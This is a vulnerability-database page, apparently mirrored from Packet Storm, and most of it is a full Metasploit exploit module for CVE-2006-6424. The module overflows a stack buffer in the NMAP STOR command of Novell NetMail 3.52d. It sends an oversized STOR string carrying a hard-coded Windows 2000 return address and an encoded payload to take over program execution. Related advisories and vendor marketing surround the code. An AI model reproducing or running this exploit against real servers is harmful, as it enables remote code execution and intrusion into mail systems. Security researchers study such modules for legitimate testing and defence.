Lucene search
K

Novell NetMail <= 3.52d NMAP STOR Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by MCType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

Novell NetMail NMAP STOR Buffer Overflow version 3.5

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2006-6424
9 May 201000:00
circl
Check Point Advisories
Novell NetMail NMAP STOR Command Buffer Overflow (CVE-2006-6424)
30 Jan 200700:00
checkpoint_advisories
Check Point Advisories
Novell NetMail IMAP Verb Literal Heap Overflow (CVE-2006-6424)
1 Apr 200700:00
checkpoint_advisories
CVE
CVE-2006-6424
27 Dec 200601:00
cve
Cvelist
CVE-2006-6424
27 Dec 200601:00
cvelist
Exploit DB
Novell NetMail 3.52d - NMAP STOR Buffer Overflow (Metasploit)
9 May 201000:00
exploitdb
Metasploit
Novell NetMail NMAP STOR Buffer Overflow
1 Mar 200712:44
metasploit
NVD
CVE-2006-6424
27 Dec 200601:28
nvd
Saint
Novell NetMail NMAP STOR command buffer overflow
5 Jan 200700:00
saint
Saint
Novell NetMail NMAP STOR command buffer overflow
5 Jan 200700:00
saint
Rows per page
`require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Novell NetMail <= 3.52d NMAP STOR Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Novell's Netmail 3.52 NMAP STOR  
verb. By sending an overly long string, an attacker can overwrite the   
buffer and control program execution.   
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-6424' ],  
[ 'OSVDB', '31363' ],  
[ 'BID', '21725' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['Windows 2000 Pro SP4 English', { 'Ret' => 0x7cdc97fb }],   
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Dec 23 2006'))  
  
register_options([Opt::RPORT(689)], self.class)  
  
end  
  
def exploit  
connect  
sock.get_once  
  
auth = "USER " + rand_text_english(10)  
sock.put(auth + "\r\n")  
  
res = sock.get_once  
  
sploit = "STOR " + rand_text_english(253) + [ target.ret ].pack('V')  
sploit << " " + rand_text_english(20) + "\r\n" + payload.encoded   
  
if (res =~ /1000/)  
print_status("Trying target #{target.name}...")  
sock.put(sploit)  
else  
print_status("Not in Trusted Hosts.")  
end  
  
handler  
disconnect  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation